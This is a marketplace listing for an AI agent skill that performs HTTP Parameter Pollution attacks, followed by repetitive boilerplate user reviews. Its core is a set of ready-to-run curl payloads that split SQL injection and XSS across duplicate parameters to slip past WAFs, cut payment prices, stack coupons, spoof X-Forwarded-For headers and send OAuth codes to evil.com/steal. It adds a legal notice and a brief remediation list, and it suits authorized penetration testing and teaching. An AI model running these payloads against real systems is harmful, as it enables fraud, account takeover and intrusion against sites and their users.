Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-http-parameter-pollution-attackExecute the skills CLI command in your project's root directory to begin installation:
Fetches performing-http-parameter-pollution-attack from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-http-parameter-pollution-attack. Access via /performing-http-parameter-pollution-attack in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | performing-http-parameter-pollution-attack |
| description | Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - http-parameter-pollution - hpp - waf-bypass - input-validation - web-security - parameter-injection - server-parsing |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
| Concept | Description |
|---|---|
| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |
| Client-Side HPP | Injected parameters reflected in URLs/links sent to other users |
| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |
| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |
| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |
| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |
| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for intercepting and duplicating parameters |
| param-miner | Burp extension for discovering hidden and duplicate parameters |
| OWASP ZAP | Automated scanner with HPP detection capabilities |
| Arjun | Hidden HTTP parameter discovery tool |
| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |
| Wfuzz | Web application fuzzer supporting parameter manipulation |
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
performing-http-parameter-pollution-attack fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added performing-http-parameter-pollution-attack from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Registry listing for performing-http-parameter-pollution-attack matched our evaluation — installs cleanly and behaves as described in the markdown.
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
Registry listing for performing-http-parameter-pollution-attack matched our evaluation — installs cleanly and behaves as described in the markdown.
I recommend performing-http-parameter-pollution-attack for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Solid pick for teams standardizing on skills: performing-http-parameter-pollution-attack is focused, and the summary matches what you get after install.
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
performing-http-parameter-pollution-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 36